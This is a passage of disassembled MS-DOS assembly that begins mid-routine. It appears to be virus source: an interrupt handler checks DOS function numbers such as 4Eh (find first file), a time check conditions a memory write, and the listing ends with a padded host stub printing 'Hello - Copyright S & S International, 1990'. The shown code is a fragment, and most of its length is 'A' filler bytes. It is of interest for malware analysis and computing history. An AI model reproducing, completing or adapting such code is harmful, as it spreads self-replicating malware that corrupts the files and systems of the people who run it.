jne loc_57 ; Jump if not equal
|
||
jmp short loc_60 ; (06CC)
|
||
loc_57:
|
||
cmp ah,0Eh
|
||
jne loc_58 ; Jump if not equal
|
||
jmp short loc_55 ; (0687)
|
||
loc_58:
|
||
cmp ah,4Eh ; 'N'
|
||
jne loc_55 ; Jump if not equal
|
||
jmp short loc_55 ; (0687)
|
||
db 90h
|
||
loc_59:
|
||
jmp loc_62 ; (0783)
|
||
loc_60:
|
||
mov ax,0Fh
|
||
cmp cs:data_29,al ; (936E:05D9=0)
|
||
jb loc_55 ; Jump if below
|
||
ja loc_59 ; Jump if above
|
||
cmp bx,4
|
||
jbe loc_55 ; Jump if below or =
|
||
mov bx,1
|
||
push cs
|
||
pop ds
|
||
add ds:data_11e,bx ; (936E:00FA=0)
|
||
mov ah,2Ch ; ','
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp dh,ds:data_11e ; (936E:00FA=0)
|
||
ja loc_55 ; Jump if above
|
||
mov bx,data_3e ; (0A10:000E=1)
|
||
add bx,data_32 ; (936E:05DD=743h)
|
||
mov ss:[bx],bx
|
||
jmp short loc_55 ; (0687)
|
||
db 01h, 90h, 90h, 90h
|
||
loc_61:
|
||
jmp loc_63 ; (1A7F)
|
||
db 'Hello - Copyright S & S Internat'
|
||
db 'ional, 1990', 0Ah, 0Dh, '$'
|
||
db 1Ah, 41h, 41h
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAA'
|
||
loc_62:
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||
db 'AAAAAAAAAAAAAAAA'
|
||
loc_63:
|
||
mov ah,9
|
||
mov dx,offset data_14 ; (936E:0103=90h)
|
||
int 21h ; DOS Services ah=function 09h
|
||
; display char string at ds:dx
|
||
int 20h ; Program Terminate
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|